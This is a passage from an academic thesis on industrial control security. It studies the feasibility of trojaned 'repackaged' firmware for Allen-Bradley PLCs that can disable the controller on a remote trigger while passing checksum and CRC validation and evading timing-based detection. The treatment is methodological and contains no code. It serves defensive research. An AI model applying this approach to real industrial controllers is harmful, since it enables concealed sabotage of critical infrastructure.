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Abstract

Unprotected Supervisory Control and Data Acquisition (SCADA) systems offer

promising targets to potential attackers. Field devices, such as Programmable Logic

Controllers (PLCs), are of particular concern as they directly control and monitor physical

industrial processes. Although attacks targeting SCADA systems have increased, there has

been little work exploring the vulnerabilities associated with exploitation of field devices.

As attacks increase in sophistication, it is reasonable to expect targeted exploitation of field

device firmware.

This thesis examines the feasibility of modifying PLC firmware to execute a remotely

triggered attack. Such a modification is referred to as a repackaging attack. A general

method is used to reverse engineer the firmware to determine its structure. Once

understood, the firmware is modified to add an exploitable feature that can remotely disable

the PLC. The attacks utilize a variety of triggers and take advantage of already existing

functions to exploit the PLC. Notable areas of the firmware are described to demonstrate

how they can be used in attack development. The performance of the repackaged firmwares

are compared to known unmodified firmwares to determine if the modifications negatively

impact performance. Findings demonstrate that repackaging attacks targeting PLCs are

feasible and that the repackaged firmware does not impact the PLC’s ability to execute

programmed tasks. Finally, design recommendations are suggested to help mitigate

potential weaknesses in future firmware development.
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PROGRAMMABLE LOGIC CONTROLLER MODIFICATION ATTACKS FOR USE

IN DETECTION ANALYSIS

I. Introduction

1.1 Background

Supervisory Control and Data Acquisition (SCADA) systems monitor and remotely

control critical industrial processes, such as gas pipelines, electric power transmission,

and potable water distribution/delivery [50]. In recent years, attacks targeting SCADA

systems have significantly increased [53]. Indeed, aging equipment, unique hardware,

limited processing capabilities, and distance are factors that hamper the ability to

implement a low cost or viable solution for protection [25].

To date, attacks on SCADA systems have primarily focused on the high-level

systems (e.g., human machine interfaces) or network protocols (e.g., Ethernet or

MODBUS) [40]. Even Stuxnet, considered one of the most sophisticated cyber attacks

[22], exploited high-level application software and did not directly exploit the low-

level field device firmware code [15]. Indeed, little research has been accomplished that

directly investigates the exploitation of field device firmware code [8].

This research focuses primarily on field devices, specifically on field devices

known as Programmable Logic Controllers (PLCs). PLCs collect data and interact

with sensors, motors, valves, and other devices throughout an industrial complex for

streamlined management and automation control [10]. By assuming control of the PLC,

an attacker can directly affect the outcome of, or interfere with, the underlying industrial

processes. As attacks increase in sophistication, it is likely that attackers will target PLC

firmware for exploitation; such attacks could have devastating consequences. The goal
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of this research is to determine the feasibility of developing firmware-based attacks that

specifically target the PLC. The attacks are intended to demonstrate the ability to disable

PLC functionality while remaining undetected. Once attack capabilities are understood,

solutions and strategies can be developed to mitigate the threats.

1.2 Motivation

The PLC remains a weak spot in industrial control security. For a variety of reasons,

companies are increasingly automating industrial systems. They are also exposing these

industrial systems to external networks in order to facilitate remote administration or to

save money by using existing communication links to maintain contact with remote end

points [54]. These actions have the unintended side-effect of increasing the attack profile

of SCADA networks. Ethernet modules used in conjunction with PLCs often host web

servers used for remote administration [40]. The PLC and PLC support modules were

designed for high availability, not security, exposing the PLC to the threat of attack [12].

The PLC directly interfaces with devices that control or measure industrial control

processes. A compromised PLC provides an attacker with direct access to data collected

by the sensors as well as actuators controlled by the PLC. This direct access provides

the ability to cause physical damage as seen in Project Aurora [34]. Exploiting such

weaknesses in a controlled manner highlights the need for improved industrial control

security and secure design strategies.

This research examines the feasibility of developing firmware based attacks that

specifically target the PLC. This research hypothesizes that an attacker is capable of

crafting an attack that disables/destroys the PLC. The attack must execute when signaled

using a pre-determined command, and otherwise remain dormant in the firmware.

The PLC is a purpose built computer designed specifically to operate industrial

control systems. The PLC is divided into three layers. The hardware layer contains the

physical components of the device including memory, processors, and interfaces needed

2



to communicate with other components. The firmware layer acts as the operating system

of the PLC. Firmware provides services such as hardware and software monitors as well

as executing process control programs [11]. The programming layer contains the process

control program executed by the firmware. Firmware provides the control capability

while the process control programs provide specific instructions on how to handle process

inputs and outputs. The firmware is the primary focus of this research. A firmware based

attack is used because such an attack would function regardless of the task the PLC

performs and does not rely on exploiting a specific process control program.

1.2.1 Research Questions.

PLC firmware updates are provided by the manufacturer to add features, correct

bugs, or improve performance. The update process provides a vector for attacking the

PLC. Firmware images can be captured and modified to insert malicious instructions. The

firmware image is then repackaged to appear as a legitimate update to the PLC. Such an

attack is referred to as a repackaging attack [27]. Reverse engineering the firmware offers

a path to success for executing the repackaging attack. In order to successfully reverse

engineer and modify the firmware, several sub-goals must be met.

1. Map firmware instructions to device functions.

In order to integrate the attack into the existing firmware image, it is necessary

to identify function calls that execute under known conditions. Such functions

provide the necessary triggers to execute the attack. The integrated attack may

also call existing functions in the firmware image. Such calls may contribute to

the attack by altering memory or sending the PLC into a fault state. The PLC is

not designed for interactivity and contains no terminal interface that could be used

for feedback during the reversing process [46]. However, the device contains a

debugging interface that can be used to trace program execution and step through

instructions.

3



2. Maintain device stability with added instructions.

A possible goal of an attacker may be the destruction of the PLC through the

use of maliciously modified firmware [40]. However, it may not be the intention

of the attacker to immediately execute the attack, but rather to implement the

attack as a trojan horse and execute at a later time. Since the attack is not executed

immediately, it must remain undetected until used. An associated challenge is

injecting instructions into the firmware without altering or overwriting functions

that are necessary for the PLC to function. The modified firmware must remain

stable and maintain timing performance [20]. Stability and performance evaluation

standards are defined in Chapter III.

3. Bypass device verification checks.

The PLC contains verification tests that must be bypassed in order to force the PLC

to accept the modified firmware as a legitimate copy. Basnight et al. developed

methods for modifying the checksum and Cyclic Redundancy Check (CRC) used as

a verification test on the Allen-Bradley Controllogix 1756-L61 PLC [8]. Basnight’s

et al. method is used to repackage the firmware image as a legitimate copy.

1.3 Research Contributions

This research serves primarily to develop secure design practices for protecting

SCADA devices by highlighting the inherent weaknesses in the design of the PLC

firmware. Furthermore, this research intends to demonstrate the feasibility of embedding

attacks in repackaged firmware. The process used to develop repackaged firmware can

provide insight into the methods attackers use to reverse engineer and exploit firmware.

1.4 Limitations

This experiment has several limitations and assumptions. The experiment uses

Allen Bradley Controllogix 1756-L61 PLCs. The ControlLogix 1756-L61 PLC was

4



chosen because of its use in directly related previous research and for its widespread use

in the industrial control sector [42]. The performance analysis used in this experiment

was developed by Dunlap using Allen Bradley PLCs and is assumed to represent data

collection capabilities available on other platforms [20].

PLC security is not turned on during the experiment. Note that PLC security is

a feature of Allen Bradley PLCs that locks the Central Processing Unit (CPU) with a

password. This feature is turned off by default when shipped by the manufacturer and the

default security setting is rarely changed [40]. This research does not evaluate the effects

of PLC security on the repackaged firmware.

The Controllogix 1756-L61 PLC is set to REMOTE mode for the duration of

the experiment. This mode allows the device to be remotely managed to include both

monitoring and updating tasks [45]. Physical access to the PLC is required to update

either the firmware or programs if the PLC is moved out of REMOTE mode using the

front panel mode switch.

The monitoring system is limited to program execution time comparisons only

[20]. The Controllogix 1756-L61 PLC must meet program execution time specifications

in order to satisfy system requirements [11]. The repackaged firmware can remain

undetected if it does not adversely impact program execution times. Additionally,

network traffic monitoring shown by research such as McMinn et al. has demonstrated

effectiveness in detecting unauthorized changes to firmware images [33].

The Controllogix 1756-L61 PLC is assumed stable after eight hours of continuous

operation without major fault using the repackaged firmware. No process program is

executed during stability testing. This test is not exhaustive, and is assumed sufficient

for the purpose of this proof-of-concept experiment. Furthermore, only the stability

of the firmware is tested. While program execution times are important for measuring

performance impacts, the correctness of program outputs are not tested.
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1.5 Methodology Summary

The feasibility of modifying the firmware of a PLC is determined through the use

of reverse engineering and assembly program development. The Controllogix 1756-L61

PLC must continue to operate without a major fault after the repackaged firmware is

installed until the attack is executed. The attacks built in to the repackaged firmware are

evaluated for correct functionality and stability using the evaluation criteria specified in

Chapter III.

The attack is developed by acquiring the unmodified firmware and using reverse

engineering tools to analyze the instructions and determine the internal structure. With

knowledge of the internal structure, an attack is crafted to disable the device at the

prompting of an external source. Such an attack is one of several proposed as possible

attacks against embedded devices by Peck and Petersen [40].

Finally, program execution times are collected from the Controllogix 1756-L61 PLC

using both the unmodified and repackaged firmware. The collected program execution

times are compared to determine statistically significant impacts to performance caused

by the repackaged firmware. The performance analysis method was developed by Dunlap

to detect alterations to firmware images [20].

1.6 Thesis Overview

Chapter II discusses relevant works used to develop the reverse engineering plan in

this experiment. Chapter III provides a detailed description of the methodology. Chapter

IV presents the results of the reverse engineering experiment. Chapter V summarizes the

thesis topic and recommends areas of future research.
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II. Background

2.1 Overview of SCADA

SCADA systems provide a means to collect data and exert control over distributed

industrial processes. SCADA provides the means for operators to monitor and control

systems spread over a large geographic region from a central control point. Typically,

SCADA is used in critical infrastructure such as municipal water delivery/treatment, oil

and gas pipelines, or electrical power distribution [50].

2.1.1 SCADA Characteristics.

As shown in Figure 2.1, SCADA networks have three basic components: a central

control station; field devices; and the communication links between the control station

and the field devices [11].

Figure 2.1: Logical SCADA Layout.

The central control station typically contains an Human Machine Interface (HMI)

that allows operators to interact with the SCADA network. Operators provide instructions

to field devices and monitor the status of the network [11]. The HMI contains the bulk

of the computing power in the SCADA network and can provide many of the services
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needed by the system. The central control point monitors and controls the field devices

and provides scheduling and logging using data gathered from remote nodes. The HMI

manages and presents data collected throughout the network to the human operators [11].

The communication link between the control center and the field devices can be

any medium capable of transmitting data as long as it satisfies the system requirements.

The types of links used are often determined by the distance between stations, the

physical barriers between those stations, or the existing communications links [11].

For instance, radio communications can be used to reach sites that are separated by

rough or undeveloped terrain. Within a city it may be possible to utilize existing cell

phone networks for communication. Links can consist of wireless radio, telephone, or

increasingly Ethernet.

SCADA devices utilize different protocols to facilitate communication [55]. Some of

the more widely-used protocols include the following.

• Distributed Network Protocol v3 (DNP3): This protocol was originally designed to

provide an open standard for communication between SCADA devices [18]. DNP3

was designed specifically for the electrical utility industry but is also used in water

and oil transportation. DNP3 was originally developed as a serial line protocol, but

now supports Internet Protocol (IP) based communication as well.

• Modbus: This protocol is an open standard and the most widely used communica-

tion standard for industrial systems [18]. Modbus supports both wired and wireless

communications with extensive use in the oil and gas distribution and delivery in-

dustry.

• FOUNDATION Fieldbus: This protocol is used extensively in process control

[23]. It has two implementations: a low speed version for field devices, and a high
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speed version specifically designed to operate with standard Ethernet based network

devices such as routers and switches.

• Common Industrial Protocol (CIP): The Common Industrial Protocol is a media

independent messaging protocol utilized in the industrial sector [49]. This protocol

was designed to be scalable, used at every level of the automation process, and

integrate easily into Ethernet based networks.

The field devices at the edge of the SCADA network contain embedded devices

that control and monitor physical processes. The PLC is an example field device that

contains programmable memory for the purpose of executing a sequence of instructions

that collect data from attached sensors and transmit that data back to the operations center.

The PLC can also translate instructions into actuator movement based on the input of

the attached sensors (e.g., opening or closing a valve or changing the speed of a motor)

[50]. A typical PLC configuration shown in Figure 2.2 consists of several interchangeable

modules connected to a chassis and configured to control a process.

Figure 2.2: Example PLC Chassis Layout [43].
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Basnight et al. describe the multilevel architecture of the PLC [8]. The three layers

are the hardware, firmware, and a programmable layer. The intermediate firmware

layer provides the interface between the hardware and the programmed instructions

loaded by the engineer. All functions made available in the firmware must map to a

hardware implementation [24]. In embedded devices, the firmware is considered the

operating system [51]. Embedded devices such as PLCs use firmware as an operating

system since the size and capacity of the device make it unnecessary to implement an

additional software based operating system to operate on top of the firmware. Because

of this design, firmware within SCADA devices can be full featured and offer a variety

of services such as a web server for remote administration. Many SCADA devices also

allow the firmware to be updated remotely. Note that these types of convenience features

also provide possible attack vectors to potential adversaries.

2.1.2 SCADA History.

SCADA history can be categorized into three stages. In the earliest incarnation

of SCADA networks, the mainframe was the center of the network. Technicians could

monitor the status of the network through an HMI that was tied directly to the mainframe.

On the remote end were the field devices and sensors recording information and relaying

data to the mainframe. Telephone networks provided the communication links between

the central mainframe and field devices. The networks were either leased from the

local telephone provider or installed by the equipment owner. This centralized SCADA

architecture began in the 1960’s and continued through the 1980’s [50].

Beginning in the 1980’s and continuing today, the next stage of SCADA networks

employed a distributed architecture. Rather than risk failure on a single mainframe,

work was divided among several systems that each performed a certain function. This

implementation alleviated the risk of a single point of failure, and made redundancy easier

[50].
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Beginning in the 1990’s, SCADA networks evolved to incorporate traditional

Information Technology (IT) methods and implemented client/server networks.

Controlling servers were implemented using a combination of special purpose equipment

and commercial off the shelf hardware. Communication between the central control

point and remote sensors changed to Local Area Network (LAN) or Wide Area Network

(WAN) technologies rather than telephone lines [50].

2.2 Security Issues Associated with SCADA Networks

There are several security challenges in the SCADA realm. These challenges

stem from disparate requirements between industrial control systems and Internet

networking technology. Between the three core principles of information assurance (i.e.,

confidentiality, integrity, and availability), SCADA networks are designed primarily for

availability [28]. Internet technologies focus on integrity and confidentiality. Depending

on the environment, a traditional corporate network can tolerate slow or lost network

connectivity. A SCADA environment, however, has minimal tolerance for data loss or

communication delay. The SCADA network is expected to be available for extended

periods of time and to meet strict timing requirements [12].

Security in an industrial control system was traditionally implemented by physically

isolating the SCADA network from the Internet or the corporate network. The need to

reduce costs by eliminating redundancies, and the need to increase the speed with which

information is available have motivated SCADA network engineers to adopt common

networking technologies, exposing SCADA networks to the Internet [12]. The adoption

of traditional networking protocols can reduce or eliminate redundant and expensive

communication links such as leased telephone lines, however, their usage also exposes

SCADA devices to the same attacks that more mature Internet enabled devices defend

against by default.
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In June of 2010, security researchers from VirusBlokAda discovered what would

come to be known as the Stuxnet worm [15, 31]. This worm did not attack the PLC

directly, but rather targeted the controlling HMI. Stuxnet was designed to destroy specific

types of gas centrifuges, believed to be used in uranium enrichment for nuclear weapons

by varying the speed of the controlling motors and operating the centrifuges outside of

their accepted operational range.

As a result of Stuxnet, SCADA security awareness has gained increased exposure in

the industrial control community [25]. Indeed, SCADA security is no longer treated as a

theoretical problem, and vulnerability discovery has risen exponentially since 2010 [53].

However, SCADA security is often relegated to IT specialists who are often unfamiliar

with the protocols and processes used in SCADA networks and are unable to adequately

protect SCADA resources [12]. Additionally, the field devices of SCADA networks are

typically low power and low capability sensors. These devices do not have the computing

power or communication bandwidth to accommodate the additional overhead incurred

by implementing security measures such as encryption or authentication. Should more

secure hardware become available, replacement costs may deter adoption, with a single

Controllogix 1756-L61 PLC costing approximately $6500.00 [41]. This replacement cost

is multiplied in installations using multiple PLCs.

Dzung et al. point out that the long lifespan of SCADA field devices means

that new devices added to the network will likely have to be backwards compatible

with technology or protocols 10 or more years old [21]. This burden carries forward

vulnerabilities associated with the older protocols. Additionally, Dzung et al. show

significant security flaws in several areas of ICS networks. Wireless radio networks

are susceptible to jamming and environmental interference. Power line communication

systems are susceptible to eavesdropping because the power lines were not designed for
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data transmission rates. Impedance mismatches and noisy communication medium cause

significant signal leakage.

Igure et al. examine the general state of SCADA security and summarize many of

the associated concerns [26]. SCADA networks are vulnerable to attack because SCADA

devices are low capability, designed for performance rather than security, and utilize

a large number of unique protocols that all must be protected equally. Yet despite the

security weaknesses of SCADA devices, they are increasingly connected to the Internet

without the benefit of the same types of protection that IT assets have had access to for

years. Igure et al. point out that the lack of encryption on the typical SCADA network

means that any attacker that gains access to the network can monitor traffic and learn the

commands used to communicate between the operations center and the field devices [26].

Igure et al. outline three security challenges that must be addressed in SCADA

networks [26]. First, improving access controls by eliminating or securing entry points

into the network and using more robust authentication such as smart card access. A

typical flaw in embedded systems is that the device password is often stored in non-

volatile memory and in an unencrypted form [21]. Second, strengthening interior

network security by implementing firewalls or Intrusion Detection System (IDS),

implementing cryptography, and improving protocol security. There are few vendors,

however, that include support for common SCADA protocols in their firewalls or

IDSs [26]. Finally, when implementing effective security management, Igure et al.

stress the need to implement effective security policies, and a strategy that includes

configuration management as well as security auditing and assessment to use as feedback

for improvements.

13



2.3 Emedded Device Security

This section summarizes research focused specifically on the security of embedded

devices. Note that not all research is specific to SCADA security. Regardless, the research

emphasises the types of weaknesses found in embedded systems.

Dacosta et al. discuss their analysis of the firmware from a Cisco 7960G IP phone

[17]. They highlight the vulnerabilities present in embedded devices. They performed

both dynamic and static analysis of the firmware images used on the typical Cisco phone

available in 2007. Dynamic analysis did not reveal any major vulnerability. However,

static analysis showed that the firmware was built using a version of the C programming

language. During analysis, the authors found instances of known unsafe functions such as

strcpy or malloc [17]. These types of functions have been exploited in the use of buffer

overflow attacks, and their use in C is strongly discouraged. Additionally, the authors

found little to no memory protection, predictable stack layouts, and debugging functions

that output messages about the state of the software to a telnet terminal. According to the

authors, many of these issues have been addressed through patches, but this is just one

example of an embedded system and weaknesses that are likely present throughout the

sector.

McMinn highlights a critical component of embedded device security in Integrated

Circuit (IC) supply chain management [32]. Manufacturers purchase general purpose ICs

rather than design chips for specific needs. When integrating chips into a device, the chips

are often tested only to ensure they are capable of successfully performing the needed

functions rather than all possible functions. This type of testing leaves open the possibility

of embedding functions into the IC that would allow an attacker to modify the behavior

of the device at a later time [5]. This potential vulnerability has led to DARPA’s “Trust

in IC’s” [16] and “Integrity and Reliability in Integrated Circuits” initiatives [36]. Both

initiatives seek to create methods to determine if an IC contains malicious logic. There is
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also a simultaneous effort to certify trusted vendors [52]. Such efforts help mitigate the

risks in purchasing components from multiple vendors.

McFadden et al. describe three types of supply chain attacks [30]. Circuitry

modification, programmable hardware attacks, and firmware attacks. Firmware provides

the interface between device hardware and software and provides a vector of attack.

Modified firmware can intercept requests for services from the device hardware or

modify returned results to suit the needs of the attacker. Many embedded devices contain

modifiable firmware which provides both a means of protection for the system owner

and an additional means of attack. Flash programmable devices can be updated to close

potential security holes, but also provide an attacker the means to upload malicious

firmware to the device. The problem can be exacerbated in cases where the device

requires no authentication to update the firmware.

Abramovici and Bradley propose incorporating defensive logic into ICs [2]. As seen

in Figure 2.3, the logic passively captures signals among the various segments of the chip.

The logic allows users to monitor the chip for abnormal behavior by checking for output

signals from a device when it should be in a powered off state or if the clock is disabled.

Such logic could also be used to provide basic memory protection to identify attempts to

address restricted or unused memory. Indeed, such a design may be effective in detecting

possible attacks, or possible execution of trojan logic, and it provides a method to detect

trojan logic in existing devices.

Duflot et al. discuss measures that can be used to detect a potentially compromised

embedded device [19]. Their research focuses mainly on network interface cards, but the

proposed solutions could be applied to other types of embedded devices that interact with

a trusted agent such as a host responsible for distributing firmware updates. Duflot et al.

state that successful attacks have been developed for several types of embedded devices

such as keyboard controllers, chipsets, and network interface cards. These are devices that
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Figure 2.3: IC Defensive Monitor Example [2].

run with system privileges, and can be used to compromise the operating system of a host

device. This same lesson can be applied to a PLC where a compromised module could be

used to gain control of the device firmware.

Duflot et al. summarize two methods for monitoring an embedded device for

possible compromise [19].

1. The first method is called Control Flow Integrity. This method states that a device

must follow a predetermined control path based on the inputs to the device. The

control path can be monitored through memory access control. If the firmware

attempts to move to a memory location outside its area of control, then an alarm

condition is raised. This method also uses a shadow stack, or a copy of the

firmware’s stack maintained by a monitor, to verify that the actual stack matches
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a pre-determined structure. An alarm is raised if a stack pointer attempts to redirect

control flow to an unknown instruction.

2. The second method is Remote Firmware Attestation. This method computes

a checksum from the contents of the memory of an embedded device. If the

checksum matches predetermined good values, then the device is considered

trusted. Duflot et al. acknowledge that this method can be defeated if an attacker

maintains known valid copies of memory and uses those stored states to calculate

a valid checksum. This challenge can be overcome by setting a time target for

calculation [19]. To overcome this challenge, Abuhmed et al. propose calculating

the checksum based on the entire memory space so that cached copies cannot be

stored by an attacker. Note that calculating a checksum for the entire memory space

imposes a performance penalty [4].

2.4 PLC Security Research

Mulder et al. analyze PLCs for weaknesses by looking at different segments of

the device [37]. This includes performing hardware analysis, firmware analysis, and

analyzing backplane communications. These three approaches provide complimentary

clues about the structure of the device. In hardware analysis, individual components

are catalogued and researched to build a list of device specifications. Determining the

type of CPU used in the PLC makes disassembly of the firmware possible, and analysis

of the memory can provide the security researchers with information about the amount

and organization of memory. Clues in the firmware lead to information about how the

different hardware components are addressed and used, and can provide information

about how the PLC memory is organized. Mulder et al. point out that interactions

between modules are often performed with well known protocols that can be captured

from the backplane using a logic analyzer. This information is used in conjunction

with the firmware analysis to learn how the device communicates with other modules.
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Knowledge of the structure of this traffic can provide a valuable tool in the dynamic

analysis of the PLC for security vulnerabilities.

Schwartz et al. provide a thorough overview of several of the largest PLC vendors

on the market as of 2010. This summary includes vendor profiles, a summary of the

communications protocols by industry such as electric, oil and gas, and an analysis of

the types of components used by each vendor. The summary also includes information

such as commonly used ports for each of the major communications protocols which can

be useful during network scans. They point out that a single PLC may contain a mixture

of several different types of processors such as ARM and PowerPC. For example, the

Siemen’s S7-200 contains a Texas Instrument’s processor, AMD driven flash memory,

and an Atmel chip for Analog I/O [55].

McMinn proposes the use of an external verification tool that can record and

monitor any updates sent to the PLC [32]. This system consists of a device connected

to a passive tap on the communication channel between the controller and the PLC as

shown in Figure 2.4. Any updates sent to the PLC must match an approved baseline

that is tracked on the monitoring device. Any unauthorized changes can be reported

for further investigation. In essence, this system provides a form of hardware-based

configuration management. The verification tool tracks all changes at the “last externally

electronically modifiable point” [32]. This solution logically isolates the PLC and its

sensors/actuators from the rest of the network. Doing so addresses the problem of an

attacker having access to a normally trusted host within the network who has managed

to avoid perimeter security measures. However, this system needs to be updated regularly

with any approved changes to the baseline, and the baselines must be verified to match

manufacturer firmware updates or patches. The verification tool may passively monitor

PLC communications, but the tool still requires network access for updates and is
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vulnerable to attack. If this system can be circumvented then that logical isolation is

broken.

Bellettini et al. propose a similar method by encrypting any messages meant for the

PLC in memory to protect it from malicious modification [9]. This method protects not

just the command information, but also the non-command data intended for the PLC.

This solution is implemented on the control server responsible for communicating with

the PLC. It may not work for all configurations because it requires a modification to the

kernel. The protection may also be circumvented on a machine under the control of an

attacker. Furthermore, this protection mechanism works only on the host responsible for

communication with the PLC, which leaves open attack vectors along the communication

path between the communicating host and the PLC.

Figure 2.4: External Verification Passive Tap [32].

Firmware on embedded devices is often handled as a black box. Additionally,

because of the low capacity of embedded devices, firmware is written as efficiently as

possible with little thought for secure coding practices [8]. Many embedded devices
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in the industrial sector can be updated remotely or through flash media. As attackers

turn their attention to firmware, it will become necessary to analyze field devices for

compromise. Sickendick developed a method to automatically disassemble firmware

and categorize segments based on file type through the use of sliding window analysis

[51]. His method identifies firmware code segments (both compressed and uncompressed)

and the architecture that the code segment supports by applying techniques commonly

used in malware analysis. This method can be utilized to build a baseline profile of

PLC firmware. The baseline can be used as a basis for comparison against a potentially

compromised embedded device. His particular research did not address the issue of

extracting firmware from a device in a non-destructive manner.

Basnight et al. developed a formalized procedure to analyze the firmware image for

possible validation techniques[8]. Although embedded devices lack strong authentication,

input validation is still performed to check for file integrity (e.g., checksums and CRC).

Basnight et al. analyzes a legitimate firmware load for built-in validation procedures.

The process consists of obtaining a copy of the target firmware and analyzing it for

possible validation features. To determine the actual validation method, Basnight et al.

outlines three different methods. First is disassembly analysis of the original firmware

code section using a disassembly tool such as Ida Pro. Second is black box analysis which

examines the firmware image without knowledge of the firmware’s internal design. Third

is hardware debugging if the device supports the use of debugging tools such as a Joint

Test Action Group (JTAG) interface.

Dunlap uses PLC execution times as a side channel to detect a potentially

compromised PLC [20]. The PLC operates in a deterministic manner, as opposed to a

general purpose workstation. The PLC is expected to execute the loaded program in a

continuous loop and within a fixed time constraint as long as the PLC is in operation. The

fixed time constraint provides an effective metric for detecting unauthorized modification.
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If the PLC firmware is modified to a sufficient degree, the method developed by Dunlap

can detect the change in operation and generates an alert. This method provides a device

fingerprint which can be used regularly to verify the configuration of a PLC. Knowing the

threshold of the side channel analysis, however, allows the attacks to be tuned to evade

detection.

2.5 Embedded Device Attacks

Peck and Peterson demonstrate attacks against Ethernet adapters in field devices

using commonly available tools [40]. They demonstrate that field devices allow firmware

updates without authentication. Note that the Koyo device tested by the authors did not

require a checksum. The authors developed and demonstrated an attack against a device

by reverse engineering firmware loads that were publicly available from the vendors

website. Analyzing the code using Ida Pro, the authors were able to determine the

structure of the code segment as well as the intended architecture. With this knowledge,

they were able to modify the firmware to include a proof-of-concept function that pinged

a particular IP address at regular intervals. The authors point out that the modification

could easily have allowed the attacker to take control of the device at any time, or to build

in a function that would cause the device to fail at a pre-determined point. With tools

such as Sickendicks firmware analysis tool [51], it would be possible to automatically

determine the structure and architecture of the firmware load, enabling faster attack

development.

Cárdenas et al. define targeted attacks as attacks where the malicious party tailors the

attack method for the targeted SCADA network. The authors provide two well known

examples of targeted attacks against SCADA networks, the Maroochy Shire Council

water breach and Stuxnet [14]. The Maroochy water breach was orchestrated by an

employee of the IT firm hired to develop the sewage control system. As such, this attack

required no malicious modification of the IT system; rather, the attacker used insider
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knowledge of the system from his time as an employee to issue commands that caused

the water system to purge. This attack highlights the need to implement strict access

controls with changing credentials, and command auditing for use in forensic analysis

in the case of an attack [3]. Stuxnet used multiple zero-day exploits and a compromised

driver-signing certificate to gain access to the HMI systems [15]. Stuxnet is an example of

a highly targeted attack, even including logic that caused the worm to remain dormant if it

was installed on a system that was not the intended target.

Long et al. demonstrate the effects of network based Denial-of-Service (DoS) attacks

against network based control systems [29]. Network based DoS attacks can cause serious

performance degradation and error, particularly in a timing based controller environment

when there is significant delay between the measurement and the calculated response.

Long et al. suggest measuring the rate of incoming packets and blocking sources if the

arrival rate exceeds a certain threshold.

Santamarta describes how it is possible to use a combination of reverse engineering

and network monitoring to exploit CIP and craft a remote attack [48]. The attacks utilize

the network interface available for the Allen-Bradley 1756-ENBT network module. This

module allows other modules on the same chassis to send and receive data through a

common IP based interface. Chassis modules are configured for communication using

port 44818 to send and receive CIP commands. Santamarta was able to craft a CIP

message to change the security password on an attached Controllogix PLC. Santamarta

also noted that the password was sent in clear text through the CIP message. Through

reverse engineering the 1756-ENBT firmware image, Santamarta was able to find several

other CIP commands that could be exploited for a DoS attack, such as changing the 1756-

ENBT module IP address, or forcing the PLC CPU to enter a fault state which would

require physical access to the PLC to repair.
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Jung et al. show the effectiveness of repackaging attacks on Android banking

applications [27]. A repackaging attack is executed by reverse-engineering an application,

adding arbitrary attack code, then rebuilding a forged application to appear valid. They

exploit a weakness in Android development by self-signing the forged application which

is then accepted as legitimate. Jung et al. modify seven popular banking applications to

divert funds to an attacker’s account. Using the forged application, the team was able

to steal funds without requiring any certificates, passwords, or security cards. The team

recommends eliminating the Android self-signing policy even though they acknowledge

that such a move would eliminate the open nature of Android development. They further

recommend code obfuscation and remote attestation as measures to further enhance

application security and to prevent tampering.

2.6 Reverse Engineering Research

Methods used by previous researchers provide valuable clues about how to approach

the reverse engineering effort. During their examination of existing SCADA Ethernet

modules, Peck and Peterson begin by downloading multiple versions of the firmware

images and comparing differences between images in an attempt to identify static fields

or identifiable blocks of data [40]. They further examine the images using a hexadecimal

editor to look for readable text strings that may occur during known actions, or that may

be part of a symbol table. Two pieces of information in particular are critical to beginning

the reverse engineering process and making it possible to find executable instructions.

First, and most importantly, Peck and Peterson identified the architecture of the firmware

image. Clues in the readable text of the firmware image show that the image was built

for the PowerPC. Second, Peck and Peterson use information from the symbol table to

find the load address for the entire firmware image. The architecture information allows

the disassembler to be configured correctly and interpret the opcodes in the firmware

image. The disassembler can also correctly interpret absolute memory addresses given
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a correct load address. Once disassembled, the code is examined for usable or exploitable

functions. In the case of the network modules examined by Peck and Peterson, function

names in the symbol table provide clues about their purpose. The authors find two

functions named nc RamValidateChecksumsWriteFlash and ffs CalcChecksum.

Since these functions provide data validation for new firmware images, the authors are

able to custom build and upload altered firmware images to the Ethernet module and

exploit the device using added functions.

Jung et al. describe their reverse engineering methods used to build repackaged

Android banking applications [27]. Jung et al. use logging tools to correlate actions

performed in the user interface with specific portions of the existing banking application.

This eases the disassembly process by allowing the authors to only analyze and modify

the portion of the application needed to execute the attack. It also allows the authors

to add functionality to the application in an area whose execution occurs under known

circumstances. Once the modification point is known, Jung et al. disassemble the

function, modify as needed, and repackage the application by updating the manifest

and self-signing the application. This example illustrates the need to carefully select

a modification point. Placing attack code in a poorly understood area of the firmware

or application may cause the modified software to fail, alerting the device owner to the

presence of the compromise.

2.7 Summary

For a variety of reasons, companies are increasingly automating industrial systems.

In doing so, they are exposing control systems to external networks to facilitate remote

administration, or save money by using existing communication links. This additional

exposure has the unintended side-effect of increasing the attack profile of the SCADA

networks. Even though these control systems are more vulnerable to attack than
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ever, security research in the SCADA realm still lags behind traditional information

technology.

This chapter summarized the purpose and history of SCADA networks and listed

general security weaknesses found in SCADA devices. Works discussed include research

on embedded device security followed by research specifically focused on PLC security

issues. Current research into embedded device attacks were then discussed to highlight

how the weaknesses in SCADA devices might be exploited by malicious attackers.

Finally, the chapter concludes with a discussion on previous reverse engineering research.
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III. Methodology

This chapter describes the methodology used to evaluate the research problem. The

methodology includes the definition of the problem, a description of the tools, the process

of building the repackaged firmware, and a description of the tests for analyzing PLC

performance.

3.1 Problem Definition

3.1.1 Goals and Hypothesis.

The intended outcome of this research is to develop measures for protecting

Industrial Control System (ICS) devices by highlighting possible inherent weaknesses

in the design of the PLC firmware. The primary goal of this research is to determine the

feasibility of developing a repackaged firmware attack against a PLC to undermine the

operation and achieve a desired malicious effect. Once installed, the repackaged firmware

is evaluated for correct operation of the attack. If the attack operates as expected, the

repackaged firmware is evaluated for stability by operating without fault for a minimum

of eight hours. If the repackaged firmware remains stable, its performance is compared

to the performance of the unmodified firmware to determine if changes to the firmware

cause differences in execution times.

PLCs typically rely on the inherent trust for firmware verification based on the

CRC and checksum as a validity tool [8]. After a firmware image is loaded to a PLC,

the checksum and CRC are tested to verify that the firmware is not corrupted. The

tests, however, provide no capability to detect intentional tampering [8]. This research

hypothesizes that PLC targeted attacks are feasible and that the execution time of the

repackaged firmware can be designed to match unmodified firmware by controlling the

type and location of injected instructions.
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3.1.2 Approach.

While the primary goal of the experiment is to test the feasibility of developing,

deploying and concealing a PLC firmware repackaging attack, there are three sub goals

necessary to supporting the primary goal. First, the device is reverse engineered to match

disassembled code to known device functions. Next, inserted instructions must function

properly and remain stable. Finally, during the repackaging of the firmware, the checksum

and CRC are updated to pass validation checks.

Figure 3.1: Development Process Outline.

As shown in Figure 3.1, the research is conducted in three stages: reverse

engineering, attack development, and performance analysis. Reverse engineering uses

hardware and firmware analysis to determine the structure of the firmware image. Attack

development includes the tasks needed to modify the firmware image to execute the

DoS attack. Attack development also includes functional evaluation of the attacks. In

performance analysis both the unmodified and repackaged firmwares execute a process

